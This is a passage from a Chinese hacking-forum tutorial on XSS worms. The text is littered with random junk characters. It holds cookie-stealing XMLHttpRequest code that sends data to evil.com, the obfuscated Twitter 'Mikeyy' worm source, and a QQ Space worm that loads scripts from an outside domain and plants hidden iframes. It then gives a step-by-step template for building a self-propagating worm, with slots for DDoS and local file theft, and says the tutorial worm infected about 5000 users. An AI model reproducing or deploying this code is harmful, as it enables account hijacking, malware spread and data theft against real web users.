  K5 H  A- |* `& I' JXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
1 [' N# {! ^% Q1 {8 X
6 Y) m2 A3 g0 r& _9 r5 pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

% u6 y$ ?3 i- i. ]
4 r$ n; c; H* C  y7 b- Q* j
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

* S0 x+ N6 L! d! PXmlHttp.send(null);
  F2 h( C; A9 t  m- _4 \
+ s3 B2 t! Q$ E<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
! P# x, N4 i$ q8 E2 a5 [复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
  T2 G6 B5 ]4 `6 Y! o
6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
9 ?& l4 L3 a4 c
   2.   
8 ^* d8 B8 s! r+ E2 g/ V, i
   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

8 e0 s# b7 }2 _# q& G$ s   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
$ L# ]" }& N! }3 i0 `( ~  y
- L+ a- Y: J' F# V5 Y8 X   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
; I$ t) C# T: y7 W! {复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

- P4 a3 q/ E2 ?   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
* w' `; R7 q, A0 u: }& q$ U
$ B* p7 |2 ]; t+ s/ X   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

' s- Y6 c! e+ n! }   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
" Y5 w" A( V( I  N
   8.   var randomUpdate= new Array();  

# Y- R+ \& N1 {3 G( |7 z   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ H0 }' r! K0 ^7 W# N
* _* e* L( s' }  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
% C9 I  b* d2 _( z
. w- l/ b& w' |  u" Z  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
2 z3 D  ]; {! P5 }, I& ^6 j
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
0 Y+ U2 h8 {1 ?2 i  d7 ?& D
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
) \8 u' g, R+ V" ~
! h/ O; j- h/ T) u, I  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

1 c! r+ W; m  d7 g3 @% @  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
0 [; R4 O/ w) J6 ?3 D/ Z, P5 q
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

5 O( }, j3 i7 k# |5 _2 Q% h  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
; Q! Z1 f! h+ Z" Q: f
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
$ b, k2 V2 E) ?) q. W) o
8 N3 N9 o# o: z' N0 X  24.     
3 V  ^+ C- Q, r  K3 X* F
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
6 |/ r, Q6 {  A9 e) v2 m
6 h* L5 @. s* p/ Y: a" K  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
( }& {2 V, C* P. _
2 u5 ]4 m# [* P3 ~. v6 q2 l  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
) {0 {. \3 \. n7 I8 m. F9 B8 T" @
  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

! h- K: F* i- j  32.   var ajaxConn1= new XHConn();  
& Y2 e4 D2 E' ]$ d, Y7 G/ r+ C
4 M7 h3 k0 W9 V  }- e/ F6 \9 y  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
$ n( o  [2 |) K6 j
5 ]" X- U: u0 c+ z& D: W  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
, O( Q: l" h/ ], d: p: }5 V
  36.   var ajaxConn2= new XHConn();  
0 M# j% N/ x6 i* y7 M1 n& m
# }) W& T6 \- e0 }5 P( `& c0 x  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
# n* _7 [. D5 W+ R. [* Z) t
  38.     
: V: s( X$ c1 |& Q, h1 S* I- g
9 g4 l2 h) j: @( i" A* H5 X  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
: o3 H- H) z3 [! C$ o5 F
) @: S" A2 y5 ]3 a8 ?window.onerror=killErrors;
' ^5 v0 z/ H. m9 c& a# E" C
7 h  K, b: d- D8 N! F2 N6 a* j
" g1 D# Y8 W+ l/ Q2 q5 ^: `
: M. j5 N( S+ \+ K, ^) t" S  Hvar shendu;shendu=4;

//---------------global---v------------------------------------------

; [* i3 J, E7 E3 z//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

' l6 h: s- B7 Hvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
% t; q5 f1 m4 y1 o( q
var myblogurl=new Array();var myblogid=new Array();
' `- A6 O) K) u, i" h% f
        var gurl=document.location.href;

3 ]7 ~( z9 L; p4 O/ }) U$ w2 ~        var gurle=gurl.indexOf("com/");
) y0 b+ v6 s0 h& ^+ L0 G
        gurl=gurl.substring(0,gurle+3);        
' t$ L/ o+ Z6 j
; I- [& K, }  x5 \$ I( t        var visitorID=top.document.documentElement.outerHTML;
3 w$ }/ z3 L2 i1 z
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

" a* [* l& X( W) w" C        visitorID=visitorID.substring(cookieS+14);
/ H8 {/ ~1 B9 H: I: S
0 u. g! L' q* ~, E        cookieS=visitorID.indexOf(",");
1 ~& r, q$ r; y# u: b
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
9 [1 R; Z/ n- B4 b. S  ?
4 V2 A, q3 ^! w6 X8 S6 x+ m        DOshuamy();



//挂马

function DOshuamy(){
% m* R" S9 i4 ~% A
. {  q# Y  Q5 C# }& mvar ssr=document.getElementById("veryTitle");
) o' y) f) p) q% I; U
. \8 A# ?  D# g! Pssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
; e. D8 e% i, Y. ]
}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
$ u& z3 T0 W* S. L5 i( W1 T
function get_my_blog(visitorID){
! h  l, x% |) r& N% b
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
# O8 q5 Q) j/ j4 T
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
9 p3 K- @) j  i6 n# D4 O
0 z" ^  Q* x$ H6 T0 v3 _4 k     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

( y4 D/ f. d6 K1 j7 Q    }

}


) [, |; m' c/ |3 p3 U
//这里似乎是判断没有登录的
; |3 D' r! Y. c( {& L+ ]; `
function get_my_blogurl(guest){
1 \, g" \- F! f' C# K
  var mybloglist=guest;
' Z9 I( m0 A7 q7 a8 L( S
  var myurls;var blogids;var blogide;
+ a9 r9 O& Y$ z4 r& b
: c2 c& e+ L- F, j. Q* m* b  for(i=0;i<shendu;i++){

7 O% d5 P' I: l2 @3 K     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

- ~) A  P1 i; f8 i$ a) A5 c+ I$ H5 `     if(myurls!=-1){    //找到了就执行下面的
* d' {% Y  p- l6 K! P" v
- W( @: V: y1 {: z7 B3 c" B- l         mybloglist=mybloglist.substring(myurls+11);
2 [$ P2 h; {3 a% Y9 q
8 l! s/ m; d/ C9 [+ ^" R6 ~         myurls=mybloglist.indexOf(')');
+ Z! F  b- G! `  a4 [
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
- ?* d* M8 ]5 Y% D/ Z& _* T7 O1 v/ L
1 B+ k5 l; g' D" ^7 X}
  g0 @* ^$ ^8 w5 A4 W3 k% A# B
1 ]/ n9 Q5 v+ [& s" p) Y9 h$ `get_my_testself();    //执行这个函数

8 B: i6 h6 E5 f  x}
4 L& N! p- N; m/ N& f/ h- i0 |! G7 l
" y4 W: }' W+ d% R% w

//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

/ O% |/ f% G1 j% k9 ^      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

" T1 B9 U$ k, ^; l" }* R: q* o/ i2 U      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 ]/ x, l- T: a  p) l' a0 L
/ b6 K/ S3 f. d+ j& }% g; X: o& D6 e      if(xhr2){        //如果成功

7 [) u& n; B1 j% v! A+ E              xhr2.open("GET",url,false);     //打开上面的那个url
, O% E+ m  D/ Z& |
              xhr2.send();

+ A! T( y7 q1 D$ r0 o              guest2=xhr2.responseText;
, \, W- ~) O% ?( p! U* o. b/ b; {
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 Q9 C7 U- G) P1 \  V# h; }
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

! p2 [5 v) y. C" ?8 V% p$ l1 _; l% l                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
/ ]% A  N) W/ ~% z" y2 Y: R
                break;

               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

: E$ e8 g& k. _0 x9 f! P                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

3 s% H: B2 R* X# \  C/ @% a               }

        }      
& a) O6 W# O, E2 ^/ {" |" b
}

}



9 ~; H4 U6 m$ V5 ~% r/ j" R//--------------------------------------  
* d/ R4 A1 a( j
0 |* ~4 M$ \& U" p( ~2 ?- A//根据浏览器创建一个XMLHttpRequest对象

0 k. q: l% G' a6 U8 W. ifunction createXMLHttpRequest(){
4 k0 a* C; B! |3 k
+ }3 D! @$ ~! ^7 N    var XMLhttpObject=null;  

0 U9 _! T- m, @- _  v    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
7 m3 c" }4 D: Z1 v/ Q
    else  
; P& Q, H: r# ]2 u  \
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
5 E& s8 v5 ^4 [/ G4 X* E8 F
) t$ [* [+ T9 v( o. M* a        for(var i=0;i<MSXML.length;i++)  
; M0 P7 x2 K$ V3 x) \& ]9 c
        {  

            try  
" h4 |0 I0 D0 ?. h% a& b* z
8 f0 c6 L# ?0 A+ `( w            {  
% t# a: }, d3 X" z4 `+ l
: m' h; O9 A% w6 N                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
7 k& \1 o' ?( ^' M& g6 V% B' C
            }  

8 @. q: i# s: [% i0 G' I$ ]# }            catch (ex) {  

: M) m! Y" ^  F            }  
  _7 L9 g' {/ `& [7 j
         }  
# q, o% e7 ^& g. L9 X- e  j, G- q
0 a7 w) P7 H8 E/ ]& D: |) B      }

return XMLhttpObject;
/ z' A. J3 C1 A- h
}  



//这里就是感染部分了

9 {, e  T7 A6 a( m+ ?; tfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

; Y% i. |8 q  j2 Z, x1 Ts2.type='text/javascript';
! \+ R$ B+ I# D. a
" N& |' q: ~; @document.getElementsByTagName('head').item(0).appendChild(s2);

}



function add_jsdel(visitorID,targetblogurlid,gurl){
3 H  g' G7 R: x9 s8 n
var s2=document.createElement('script');
: C6 e, n- w( p6 q, q. |
" k% ~. U* S8 J  `8 p! ]1 P4 es2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
& n$ Q0 j5 u0 t
" d8 S. G( m- ]. K2 L2 |( Qdocument.getElementsByTagName('head').item(0).appendChild(s2);

; q, x1 T: n6 P  i9 X$ {}
, e, m, [8 U0 a2 e. w3 K2 T* O复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
" m5 W, {3 \9 S& y5 H8 A4 h, J1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
8 W: j# H. Z2 R+ r2 t
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
) S9 ]: P# G8 ]8 y
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
% }3 C: u1 ~6 r8 c/ ?( Y
  z) J3 x& ~7 q% p
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
% i9 k# B: G, b5 a. O
首先,自然是判断不同浏览器,创建不同的对象var request = false;

8 X! p" Z1 u, |2 o' Uif(window.XMLHttpRequest) {

request = new XMLHttpRequest();
0 J2 d# }' s# w$ p( U1 k
- N" C2 ]6 y/ V/ |  ^0 x3 [( gif(request.overrideMimeType) {
: x8 s8 R6 B8 E  j; [: q0 i+ I6 i1 e
request.overrideMimeType('text/xml');
2 T0 C$ m. V' n7 y
+ I$ T8 L4 p) \  O# p4 T}
2 F! t  u, B  `/ u
} else if(window.ActiveXObject) {
# H) f1 D% l1 T
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

" M5 a& R* Q6 |; g1 ]5 _1 P$ Jfor(var i=0; i<versions.length; i++) {

try {
" p2 U6 A5 x  R. A. \
- ?* |0 M) @+ \" `0 r2 Drequest = new ActiveXObject(versions);

} catch(e) {}
9 c0 {% C* i+ G. a' s
. p/ @9 i" s/ N% v& d}
, d( P! W: p) ^9 Y$ g
}
+ d& e4 r) B1 V9 \
* C' b9 L: i7 z9 v! m1 QxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
  L; t; z8 p) x" v4 G: T
        var Browser_Agent=navigator.userAgent;

        
$ R% |" @: R0 y3 n
( B, `  W0 A, @4 c: T        var Actual_Version,Actual_Name;

- T( N$ ~7 }3 k3 ^        
8 K5 S/ [" l7 q
- a; w8 x, P  G' ]        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

( \8 @5 v- j" d* x        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        
4 a+ {- |) X* L# A
        if(is_NN){
+ B! U9 r/ [) S3 Q( h
1 L; W$ q4 H& G8 h            if(Browser_Version>=5.0){
- H0 A" R9 i$ p
                var Split_Sign=Browser_Agent.lastIndexOf("/");

% ~" s$ B  L; x( x/ g/ e                var Version=Browser_Agent.indexOf(" ",Split_Sign);
' R( O& M* R4 o5 {7 @8 U
+ p+ w1 j3 D' O2 F- |$ p                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


8 u8 c; N. Y. q% v# C* G
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
" d8 q3 j5 A+ ?. Z" n
            }

6 c) ~9 i' R7 J2 |/ O9 K. d            else{

$ r. }% y' Y6 ^                Actual_Version=Browser_Version;

4 `% m! d, n# `* `+ J; q                Actual_Name=Browser_Name;
, i5 y, z# Y; W9 f& A. p
; _' N0 ?* M# z/ n( l            }

6 |- x) _, {  [, \: ?5 D! o' [$ u; y* }        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 @3 _: Q; c- T' r' {
, S7 d2 r7 C+ C; o5 V' o( I; p1 ?* U            Actual_Name=Browser_Name;
9 N0 g8 h& V+ ]/ f% H
! U- A) ^  |3 ^5 Y) z# @            
1 s& Q2 Y5 [# m! ~6 n! C& y
            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
) V( [, t1 o) ?' |
. S' i  V- i# T8 {; K            }
& M, p( _+ C# q% k1 ^
            else if(Browser_Agent.indexOf("Opera")!=-1){
# a( Q8 t1 Z! O9 ?/ C" B
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

/ J/ X; w# k: I- H        }

        else if(is_Ch){
; L5 x( N: M) x; A
6 }% _6 |1 ?, b( J            var Version_Start=Browser_Agent.indexOf("Chrome");
9 i( C, `5 ~5 C
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
. X; W$ w& v  w) q1 a& x
+ ?4 d, R. Y& y1 x/ ~            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
: M7 s! U, J) t7 ]  D$ i) L
  L+ V, U( ]& j. \8 m# b            Actual_Name=Browser_Name;
0 q* z( ~- B: }# D) K5 K; t1 [
            
  b, _4 {4 P- B0 y3 y- u' }; T
1 z3 h% `5 w/ k- P            if(Browser_Agent.indexOf("Maxthon")!=-1){

% j  s9 W4 b# r: y2 }# Q; V                Actual_Name+="(Maxthon)";
9 B' \5 V6 V8 J* E% @: T' S5 H
            }
# M" l0 t. V, Z! j4 w# O+ T/ j$ T9 c
            else if(Browser_Agent.indexOf("Opera")!=-1){

. j: \  k5 f$ ], g1 U                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

" X- ]' Y) ~- r# m* E' A                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- c* l% R. x& N" b
            }
! H2 H6 l5 ]+ E4 J# _4 P, d
        }
' r" H0 b: q+ Q3 P
        else{

            Actual_Name="Unknown Navigator"
) x% A  P) P: r& L7 V4 W
            Actual_Version="Unknown Version"

# G) y% I) x0 o' o8 E( q0 v, b        }


( |" B3 _4 K% T2 i% w
        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
+ C; A  S5 E) q6 i# P
! F" W! U" R+ w  M' T& S        

  @  V2 J1 {" E        this.Name=Actual_Name;
# D2 q3 i+ M" D* x! {; t+ p
        this.Version=Actual_Version;

9 `# u4 B' h: _9 q5 u$ G    }

  n5 i5 S/ l+ T! |9 p    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

8 b( ?9 f: j! r3 E( b* V' ^& _    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

3 y8 x- H! v. Y+ i2 ^5 U    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 M& S  D8 i8 a8 v8 ~复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
" ~% m* w. j! }* t; T4 O. d3 r复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

4 T1 M, J! E8 Zvar resource = xmlHttpReq.responseText;
) d3 r3 N! W1 X1 m, S9 S, l
; v" _. S6 Y' b' @% N% i1 A( }9 ^var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

7 L1 T1 T7 O+ Q; swhile ((result = patt.exec(resource)) != null)  {

id++;

4 L5 o, K: X0 U* a% z}
( W3 T( L/ c; H9 ~( E0 c$ _复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
1 G9 I& ^# T% E
4 Z' I" t& F0 t& \) M2 Sno=resource.search(/my name is/);

5 W( _4 q* G1 Z; H% ?. h9 Nvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
; W4 N; P2 F! {2 ~6 l7 q- d
var post="wd="+wd;

- `+ ?) |# K: l5 [- q! V1 JxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
. e2 f9 V( h: N! }7 i) U# C* m' L
9 E: C2 m. |2 |- W; oxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
* b/ B- G2 {/ J) s, O+ l
: g% j6 o& [7 K' ]3 L5 ?xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

% E4 y& H, B$ B8 x. A1 v5 `$ q& TxmlHttpReq.send(post);
. O& d; Z1 ~6 p# M1 b/ \
! \+ f2 A2 H: ~7 v: p6 f}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
, Z* Y* E0 a* `5 D$ [: j/ P! Y+ ]
: t, N' s5 ]/ W) c$ h0 l, m2 l$ [var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
  z% R2 r0 @: e+ `$ ]. m/ p
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
  i' J/ _7 D9 V; X% J* m1 S# s" y
var post="wd="+wd;

! s' |2 S4 S- rxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
8 _5 Q' R" i7 G* h
9 k! t6 A8 b0 b/ g  T0 OxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

1 ~( T2 j3 t; l% b( @xmlHttpReq.setRequestHeader("content-length",post.length);

+ T* ~- y1 k& S* D' N: O4 wxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
$ o' d9 K7 c, N% N9 }
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------



. R$ M2 z% j. h3 d本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
+ v! w) o* x) \0 h8 t+ ]* m! @- \蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
* i3 k$ {( ~0 c4 n; Y
3 m. I2 z5 e8 @3 c5 m& W# L* @
( u3 y8 c; l; T) B
; }- q$ V" w4 r. C! m' U5 l/ H

' O6 m% l' r* ?( Z
* C+ `2 u7 A% I: {) H5 i/ t
+ ]. C6 B, z" J& v5 w. C
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
, W# _+ n) P5 g5 a# k+ J"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
: Q2 m! H2 Y* e3 S, d/ D$ Z空虚浪子心BLOG http://www.inbreak.net
) b* \' Z, V6 @7 SXeye Team http://xeye.us/
  {! h! R4 n7 h) A7 z